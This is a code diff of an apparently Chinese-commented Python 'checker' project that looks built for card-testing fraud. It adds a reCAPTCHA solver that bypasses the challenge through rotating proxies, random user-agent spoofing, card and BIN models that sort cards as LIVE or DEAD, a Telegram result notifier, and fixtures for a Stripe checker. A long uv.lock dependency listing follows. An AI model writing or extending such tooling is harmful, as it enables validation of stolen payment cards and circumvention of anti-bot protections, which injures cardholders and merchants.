"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36"
]

View File

@@ -0,0 +1,149 @@
"""reCAPTCHA求解器"""
import logging
import re
from time import sleep
from .client import RecaptchaClient
logger = logging.getLogger(__name__)
class RecaptchaSolver:
"""同步reCAPTCHA求解器"""
MAX_RETRIES = 20
RETRY_DELAY = 1
def __init__(self, timeout, proxy_rotator):
"""初始化求解器
Args:
timeout: 请求超时时间
proxy_rotator: 代理轮换器实例
"""
self.client = RecaptchaClient(timeout=timeout, proxy_rotator=proxy_rotator)
@staticmethod
def _parse_api_type(anchor_url):
"""解析API类型
Args:
anchor_url: anchor URL
Returns:
(api_type, params_string) 元组
"""
match = re.search(r'(api2|enterprise)/anchor\?(.*)', anchor_url)
if match:
return match.group(1), match.group(2)
return None, None
@staticmethod
def _extract_c_value(html):
"""从HTML中提取c值session token
Args:
html: HTML响应文本
Returns:
c值字符串
"""
match = re.search(r'value="(.*?)"', html)
if match:
return match.group(1)
return None
@staticmethod
def _parse_params(param_str):
"""解析URL参数字符串
Args:
param_str: 参数字符串,如 "k=xxx&co=yyy"
Returns:
参数字典
"""
params = {}
if param_str:
for pair in param_str.split('&'):
if '=' in pair:
key, value = pair.split('=', 1)
params[key] = value
return params
def _build_payload(self, params, c_value):
"""构造请求载荷
Args:
params: 参数字典
c_value: session token
Returns:
POST数据字符串
"""
return (
f"v={params.get('v')}&"
f"reason=q&"
f"c={c_value}&"
f"k={params.get('k')}&"
f"co={params.get('co')}"
)
def solve(self, anchor_url):
"""求解reCAPTCHA
Args:
anchor_url: reCAPTCHA anchor URL
Returns:
reCAPTCHA token字符串
Raises:
ValueError: URL格式无效
RuntimeError: 超过最大重试次数
"""
api_type, param_str = self._parse_api_type(anchor_url)
if not param_str:
logger.error('Invalid anchor URL provided: %s', anchor_url)
raise ValueError('Invalid anchor URL format.')
params = self._parse_params(param_str)
logger.debug('Recaptcha solve start api_type=%s params=%s', api_type, params)
# 重试循环
for attempt in range(1, self.MAX_RETRIES + 1):
logger.debug('Recaptcha attempt %d/%d', attempt, self.MAX_RETRIES)
# 1. 获取anchor token
anchor_html = self.client.fetch_anchor_token(api_type, params)
if not anchor_html:
logger.debug('Anchor response empty, retrying...')
sleep(self.RETRY_DELAY)
continue
# 2. 提取session token
c_value = self._extract_c_value(anchor_html)
if not c_value:
logger.debug('Failed to extract c value from anchor response.')
sleep(self.RETRY_DELAY)
continue
# 3. 构造载荷
payload = self._build_payload(params, c_value)
logger.debug('Payload prepared with keys: %s', list(params.keys()))
# 4. 获取最终token
token = self.client.fetch_recaptcha_token(
api_type,
params.get('k'),
payload
)
if token:
logger.info('Recaptcha solved in %d attempt(s).', attempt)
return token
sleep(self.RETRY_DELAY)
logger.error('Failed to solve reCAPTCHA after %d attempts.', self.MAX_RETRIES)
raise RuntimeError('Failed to solve reCAPTCHA after maximum retries.')

View File

@@ -0,0 +1,4 @@
"""Telegram集成模块"""
from .notifier import send_telegram_message
__all__ = ['send_telegram_message']

View File

@@ -0,0 +1,37 @@
"""Telegram通知发送器"""
import requests
from typing import Optional
def send_telegram_message(
bot_token: str,
chat_id: str,
text: str,
timeout: int = 10
) -> bool:
"""发送Telegram消息
Args:
bot_token: Telegram bot token
chat_id: 聊天ID
text: 消息文本
timeout: 超时时间(秒)
Returns:
是否发送成功
"""
if not bot_token or not chat_id:
return False
try:
url = f'https://api.telegram.org/bot{bot_token}/sendMessage'
payload = {
'chat_id': chat_id,
'text': text,
'parse_mode': 'HTML',
'disable_web_page_preview': True
}
requests.post(url, json=payload, timeout=timeout)
return True
except Exception:
return False

View File

@@ -0,0 +1,11 @@
"""数据模型模块"""
from .card import Card
from .bin_info import BinInfo
from .result import CheckResult, CheckStatus
__all__ = [
'Card',
'BinInfo',
'CheckResult',
'CheckStatus',
]

View File

@@ -0,0 +1,22 @@
"""BIN信息模型"""
from dataclasses import dataclass
from typing import Optional
@dataclass
class BinInfo:
"""BINBank Identification Number信息"""
bin: str
brand: str = 'UNKNOWN'
country: str = 'UNKNOWN'
country_flag: str = 'UNKNOWN'
bank: str = 'UNKNOWN'
card_type: str = 'UNKNOWN'
level: str = 'UNKNOWN'
def __str__(self) -> str:
"""格式化显示"""
return (
f"{self.brand} {self.card_type} {self.level} | "
f"{self.bank} | {self.country} {self.country_flag}"
)

View File

@@ -0,0 +1,46 @@
"""卡片数据模型"""
from dataclasses import dataclass
from typing import Optional
@dataclass
class Card:
"""信用卡数据模型"""
number: str
month: str
year: str
cvv: str
@property
def bin(self) -> str:
"""获取BIN前6位"""
return self.number[:6]
@property
def formatted(self) -> str:
"""格式化为标准字符串"""
return f"{self.number}|{self.month}|{self.year[-2:]}|{self.cvv}"
@staticmethod
def parse(card_string: str) -> Optional['Card']:
"""从字符串解析卡片信息
Args:
card_string: 格式为 "number|mm|yyyy|cvv" 的字符串
Returns:
Card对象解析失败返回None
"""
try:
parts = [s.strip() for s in card_string.strip().split('|')]
if len(parts) != 4:
return None
number, month, year, cvv = parts
month = month.zfill(2)
year = str(year).zfill(4) if len(year) == 2 else year
cvv = cvv[:4]
return Card(number=number, month=month, year=year, cvv=cvv)
except (ValueError, IndexError):
return None

View File

@@ -0,0 +1,37 @@
"""检测结果模型"""
from dataclasses import dataclass
from enum import Enum
from typing import Optional
from .card import Card
from .bin_info import BinInfo
class CheckStatus(Enum):
"""检测状态枚举"""
LIVE = "LIVE"
DEAD = "DEAD"
UNKNOWN = "UNKNOWN"
@dataclass
class CheckResult:
"""卡片检测结果"""
card: Card
status: CheckStatus
message: str
bin_info: Optional[BinInfo] = None
@property
def is_live(self) -> bool:
"""是否为活卡"""
return self.status == CheckStatus.LIVE
@property
def is_dead(self) -> bool:
"""是否为死卡"""
return self.status == CheckStatus.DEAD
def __str__(self) -> str:
"""格式化显示"""
return f"{self.card.formatted} - {self.status.value} - {self.message}"

View File

@@ -0,0 +1,14 @@
"""工具函数模块"""
from .time import format_ts, sleep_random
from .security import generate_password
from .strings import gstr
from .http import get_random_ua, UA
__all__ = [
'format_ts',
'sleep_random',
'generate_password',
'gstr',
'get_random_ua',
'UA',
]

View File

@@ -0,0 +1,28 @@
"""HTTP相关工具函数"""
import random
# User-Agent列表
UA = (
# Desktop Chrome (macOS)
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
# Desktop Chrome (Windows)
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
# Desktop Edge (Windows)
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0',
# Desktop Chrome (Linux)
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
# Desktop Firefox (macOS)
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0',
# Desktop Firefox (Windows)
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0'
)
def get_random_ua():
"""获取随机User-Agent
Returns:
随机选择的User-Agent字符串
"""
return random.choice(UA)

View File

@@ -0,0 +1,43 @@
"""安全相关工具函数"""
import random
import string
def generate_password(min_length, max_length):
"""生成随机强密码
Args:
min_length: 最小长度
max_length: 最大长度
Returns:
生成的密码字符串
"""
# 确定密码长度
length = random.randint(min_length, max_length)
# 定义字符集
lower = string.ascii_lowercase
upper = string.ascii_uppercase
digits = string.digits
symbols = '!@#$%^&*()-_=+[]{}|;:,.<>?/'
# 初始化密码列表,强制包含每种类型至少一个字符
password = [
random.choice(lower),
random.choice(upper),
random.choice(digits),
random.choice(symbols)
]
# 组合所有可用字符
all_chars = lower + upper + digits + symbols
# 填充剩余长度
password += random.choices(all_chars, k=length - len(password))
# 打乱字符顺序
random.shuffle(password)
# 拼接成字符串并返回
return ''.join(password)

View File

@@ -0,0 +1,30 @@
"""字符串处理工具函数"""
def gstr(text, prefix, suffix):
"""从文本中提取指定前缀和后缀之间的字符串
Args:
text: 源文本
prefix: 前缀字符串
suffix: 后缀字符串
Returns:
提取的字符串,如果未找到则返回空字符串
"""
# 检查前缀是否存在
if prefix not in text:
return ''
# 计算截取的起始位置
start = text.find(prefix) + len(prefix)
# 查找后缀的位置
end = text.find(suffix, start)
# 如果找到后缀,则切片返回内容
if end != -1:
return text[start:end]
# 如果没找到后缀,返回空字符串
return ''

View File

@@ -0,0 +1,32 @@
"""时间相关工具函数"""
import random
import time
from datetime import timezone
def format_ts(dt, *, fmt='%Y-%m-%dT%H:%M:%SZ'):
"""格式化时间戳为UTC格式
Args:
dt: datetime对象
fmt: 格式化字符串
Returns:
格式化后的时间字符串
"""
return dt.astimezone(timezone.utc).strftime(fmt)
def sleep_random(min_seconds, max_seconds):
"""随机延迟
Args:
min_seconds: 最小秒数
max_seconds: 最大秒数
Returns:
实际延迟的秒数
"""
delay = random.uniform(min_seconds, max_seconds)
time.sleep(delay)
return delay

27
checker/tests/conftest.py Normal file
View File

@@ -0,0 +1,27 @@
"""测试配置文件"""
import pytest
import requests
from checker import Card, StripeChecker
@pytest.fixture
def sample_card():
"""示例卡片fixture"""
return Card(
number="4111111111111111",
month="12",
year="2025",
cvv="123"
)
@pytest.fixture
def session():
"""HTTP会话fixture"""
return requests.Session()
@pytest.fixture
def checker():
"""检测器fixture"""
return StripeChecker(timeout=15, max_retries=3)

View File

@@ -0,0 +1,39 @@
"""测试卡片解析器"""
from checker.cards import parse_card_file, deduplicate_cards
from checker import Card
def test_card_parse():
"""测试卡片解析"""
card_string = "4111111111111111|12|2025|123"
card = Card.parse(card_string)
assert card is not None
assert card.number == "4111111111111111"
assert card.month == "12"
assert card.year == "2025"
assert card.cvv == "123"
def test_card_bin():
"""测试BIN提取"""
card = Card(number="4111111111111111", month="12", year="2025", cvv="123")
assert card.bin == "411111"
def test_card_formatted():
"""测试格式化输出"""
card = Card(number="4111111111111111", month="12", year="2025", cvv="123")
assert card.formatted == "4111111111111111|12|25|123"
def test_deduplicate_cards():
"""测试去重"""
cards = [
Card(number="4111111111111111", month="12", year="2025", cvv="123"),
Card(number="4111111111111111", month="12", year="2025", cvv="123"),
Card(number="5555555555554444", month="11", year="2024", cvv="456"),
]
unique = deduplicate_cards(cards)
assert len(unique) == 2

735
checker/uv.lock generated Normal file
View File

@@ -0,0 +1,735 @@
version = 1
revision = 3
requires-python = ">=3.10"
[[package]]
name = "black"
version = "25.12.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "click" },
{ name = "mypy-extensions" },
{ name = "packaging" },
{ name = "pathspec" },
{ name = "platformdirs" },
{ name = "pytokens" },
{ name = "tomli", marker = "python_full_version < '3.11'" },
{ name = "typing-extensions", marker = "python_full_version < '3.11'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/c4/d9/07b458a3f1c525ac392b5edc6b191ff140b596f9d77092429417a54e249d/black-25.12.0.tar.gz", hash = "sha256:8d3dd9cea14bff7ddc0eb243c811cdb1a011ebb4800a5f0335a01a68654796a7", size = 659264, upload-time = "2025-12-08T01:40:52.501Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/37/d5/8d3145999d380e5d09bb00b0f7024bf0a8ccb5c07b5648e9295f02ec1d98/black-25.12.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f85ba1ad15d446756b4ab5f3044731bf68b777f8f9ac9cdabd2425b97cd9c4e8", size = 1895720, upload-time = "2025-12-08T01:46:58.197Z" },
{ url = "https://files.pythonhosted.org/packages/06/97/7acc85c4add41098f4f076b21e3e4e383ad6ed0a3da26b2c89627241fc11/black-25.12.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:546eecfe9a3a6b46f9d69d8a642585a6eaf348bcbbc4d87a19635570e02d9f4a", size = 1727193, upload-time = "2025-12-08T01:52:26.674Z" },
{ url = "https://files.pythonhosted.org/packages/24/f0/fdf0eb8ba907ddeb62255227d29d349e8256ef03558fbcadfbc26ecfe3b2/black-25.12.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:17dcc893da8d73d8f74a596f64b7c98ef5239c2cd2b053c0f25912c4494bf9ea", size = 1774506, upload-time = "2025-12-08T01:46:25.721Z" },
{ url = "https://files.pythonhosted.org/packages/e4/f5/9203a78efe00d13336786b133c6180a9303d46908a9aa72d1104ca214222/black-25.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:09524b0e6af8ba7a3ffabdfc7a9922fb9adef60fed008c7cd2fc01f3048e6e6f", size = 1416085, upload-time = "2025-12-08T01:46:06.073Z" },
{ url = "https://files.pythonhosted.org/packages/ba/cc/7a6090e6b081c3316282c05c546e76affdce7bf7a3b7d2c3a2a69438bd01/black-25.12.0-cp310-cp310-win_arm64.whl", hash = "sha256:b162653ed89eb942758efeb29d5e333ca5bb90e5130216f8369857db5955a7da", size = 1226038, upload-time = "2025-12-08T01:45:29.388Z" },
{ url = "https://files.pythonhosted.org/packages/60/ad/7ac0d0e1e0612788dbc48e62aef8a8e8feffac7eb3d787db4e43b8462fa8/black-25.12.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d0cfa263e85caea2cff57d8f917f9f51adae8e20b610e2b23de35b5b11ce691a", size = 1877003, upload-time = "2025-12-08T01:43:29.967Z" },
{ url = "https://files.pythonhosted.org/packages/e8/dd/a237e9f565f3617a88b49284b59cbca2a4f56ebe68676c1aad0ce36a54a7/black-25.12.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1a2f578ae20c19c50a382286ba78bfbeafdf788579b053d8e4980afb079ab9be", size = 1712639, upload-time = "2025-12-08T01:52:46.756Z" },
{ url = "https://files.pythonhosted.org/packages/12/80/e187079df1ea4c12a0c63282ddd8b81d5107db6d642f7d7b75a6bcd6fc21/black-25.12.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d3e1b65634b0e471d07ff86ec338819e2ef860689859ef4501ab7ac290431f9b", size = 1758143, upload-time = "2025-12-08T01:45:29.137Z" },
{ url = "https://files.pythonhosted.org/packages/93/b5/3096ccee4f29dc2c3aac57274326c4d2d929a77e629f695f544e159bfae4/black-25.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:a3fa71e3b8dd9f7c6ac4d818345237dfb4175ed3bf37cd5a581dbc4c034f1ec5", size = 1420698, upload-time = "2025-12-08T01:45:53.379Z" },
{ url = "https://files.pythonhosted.org/packages/7e/39/f81c0ffbc25ffbe61c7d0385bf277e62ffc3e52f5ee668d7369d9854fadf/black-25.12.0-cp311-cp311-win_arm64.whl", hash = "sha256:51e267458f7e650afed8445dc7edb3187143003d52a1b710c7321aef22aa9655", size = 1229317, upload-time = "2025-12-08T01:46:35.606Z" },
{ url = "https://files.pythonhosted.org/packages/d1/bd/26083f805115db17fda9877b3c7321d08c647df39d0df4c4ca8f8450593e/black-25.12.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:31f96b7c98c1ddaeb07dc0f56c652e25bdedaac76d5b68a059d998b57c55594a", size = 1924178, upload-time = "2025-12-08T01:49:51.048Z" },
{ url = "https://files.pythonhosted.org/packages/89/6b/ea00d6651561e2bdd9231c4177f4f2ae19cc13a0b0574f47602a7519b6ca/black-25.12.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:05dd459a19e218078a1f98178c13f861fe6a9a5f88fc969ca4d9b49eb1809783", size = 1742643, upload-time = "2025-12-08T01:49:59.09Z" },
{ url = "https://files.pythonhosted.org/packages/6d/f3/360fa4182e36e9875fabcf3a9717db9d27a8d11870f21cff97725c54f35b/black-25.12.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c1f68c5eff61f226934be6b5b80296cf6939e5d2f0c2f7d543ea08b204bfaf59", size = 1800158, upload-time = "2025-12-08T01:44:27.301Z" },
{ url = "https://files.pythonhosted.org/packages/f8/08/2c64830cb6616278067e040acca21d4f79727b23077633953081c9445d61/black-25.12.0-cp312-cp312-win_amd64.whl", hash = "sha256:274f940c147ddab4442d316b27f9e332ca586d39c85ecf59ebdea82cc9ee8892", size = 1426197, upload-time = "2025-12-08T01:45:51.198Z" },
{ url = "https://files.pythonhosted.org/packages/d4/60/a93f55fd9b9816b7432cf6842f0e3000fdd5b7869492a04b9011a133ee37/black-25.12.0-cp312-cp312-win_arm64.whl", hash = "sha256:169506ba91ef21e2e0591563deda7f00030cb466e747c4b09cb0a9dae5db2f43", size = 1237266, upload-time = "2025-12-08T01:45:10.556Z" },
{ url = "https://files.pythonhosted.org/packages/c8/52/c551e36bc95495d2aa1a37d50566267aa47608c81a53f91daa809e03293f/black-25.12.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:a05ddeb656534c3e27a05a29196c962877c83fa5503db89e68857d1161ad08a5", size = 1923809, upload-time = "2025-12-08T01:46:55.126Z" },
{ url = "https://files.pythonhosted.org/packages/a0/f7/aac9b014140ee56d247e707af8db0aae2e9efc28d4a8aba92d0abd7ae9d1/black-25.12.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9ec77439ef3e34896995503865a85732c94396edcc739f302c5673a2315e1e7f", size = 1742384, upload-time = "2025-12-08T01:49:37.022Z" },
{ url = "https://files.pythonhosted.org/packages/74/98/38aaa018b2ab06a863974c12b14a6266badc192b20603a81b738c47e902e/black-25.12.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e509c858adf63aa61d908061b52e580c40eae0dfa72415fa47ac01b12e29baf", size = 1798761, upload-time = "2025-12-08T01:46:05.386Z" },
{ url = "https://files.pythonhosted.org/packages/16/3a/a8ac542125f61574a3f015b521ca83b47321ed19bb63fe6d7560f348bfe1/black-25.12.0-cp313-cp313-win_amd64.whl", hash = "sha256:252678f07f5bac4ff0d0e9b261fbb029fa530cfa206d0a636a34ab445ef8ca9d", size = 1429180, upload-time = "2025-12-08T01:45:34.903Z" },
{ url = "https://files.pythonhosted.org/packages/e6/2d/bdc466a3db9145e946762d52cd55b1385509d9f9004fec1c97bdc8debbfb/black-25.12.0-cp313-cp313-win_arm64.whl", hash = "sha256:bc5b1c09fe3c931ddd20ee548511c64ebf964ada7e6f0763d443947fd1c603ce", size = 1239350, upload-time = "2025-12-08T01:46:09.458Z" },
{ url = "https://files.pythonhosted.org/packages/35/46/1d8f2542210c502e2ae1060b2e09e47af6a5e5963cb78e22ec1a11170b28/black-25.12.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:0a0953b134f9335c2434864a643c842c44fba562155c738a2a37a4d61f00cad5", size = 1917015, upload-time = "2025-12-08T01:53:27.987Z" },
{ url = "https://files.pythonhosted.org/packages/41/37/68accadf977672beb8e2c64e080f568c74159c1aaa6414b4cd2aef2d7906/black-25.12.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:2355bbb6c3b76062870942d8cc450d4f8ac71f9c93c40122762c8784df49543f", size = 1741830, upload-time = "2025-12-08T01:54:36.861Z" },
{ url = "https://files.pythonhosted.org/packages/ac/76/03608a9d8f0faad47a3af3a3c8c53af3367f6c0dd2d23a84710456c7ac56/black-25.12.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9678bd991cc793e81d19aeeae57966ee02909877cb65838ccffef24c3ebac08f", size = 1791450, upload-time = "2025-12-08T01:44:52.581Z" },
{ url = "https://files.pythonhosted.org/packages/06/99/b2a4bd7dfaea7964974f947e1c76d6886d65fe5d24f687df2d85406b2609/black-25.12.0-cp314-cp314-win_amd64.whl", hash = "sha256:97596189949a8aad13ad12fcbb4ae89330039b96ad6742e6f6b45e75ad5cfd83", size = 1452042, upload-time = "2025-12-08T01:46:13.188Z" },
{ url = "https://files.pythonhosted.org/packages/b2/7c/d9825de75ae5dd7795d007681b752275ea85a1c5d83269b4b9c754c2aaab/black-25.12.0-cp314-cp314-win_arm64.whl", hash = "sha256:778285d9ea197f34704e3791ea9404cd6d07595745907dd2ce3da7a13627b29b", size = 1267446, upload-time = "2025-12-08T01:46:14.497Z" },
{ url = "https://files.pythonhosted.org/packages/68/11/21331aed19145a952ad28fca2756a1433ee9308079bd03bd898e903a2e53/black-25.12.0-py3-none-any.whl", hash = "sha256:48ceb36c16dbc84062740049eef990bb2ce07598272e673c17d1a7720c71c828", size = 206191, upload-time = "2025-12-08T01:40:50.963Z" },
]
[[package]]
name = "certifi"
version = "2025.11.12"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/a2/8c/58f469717fa48465e4a50c014a0400602d3c437d7c0c468e17ada824da3a/certifi-2025.11.12.tar.gz", hash = "sha256:d8ab5478f2ecd78af242878415affce761ca6bc54a22a27e026d7c25357c3316", size = 160538, upload-time = "2025-11-12T02:54:51.517Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/70/7d/9bc192684cea499815ff478dfcdc13835ddf401365057044fb721ec6bddb/certifi-2025.11.12-py3-none-any.whl", hash = "sha256:97de8790030bbd5c2d96b7ec782fc2f7820ef8dba6db909ccf95449f2d062d4b", size = 159438, upload-time = "2025-11-12T02:54:49.735Z" },
]
[[package]]
name = "charset-normalizer"
version = "3.4.4"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" },
{ url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" },
{ url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" },
{ url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" },
{ url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" },
{ url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" },
{ url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" },
{ url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" },
{ url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" },
{ url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" },
{ url = "https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" },
{ url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" },
{ url = "https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" },
{ url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" },
{ url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" },
{ url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" },
{ url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" },
{ url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" },
{ url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" },
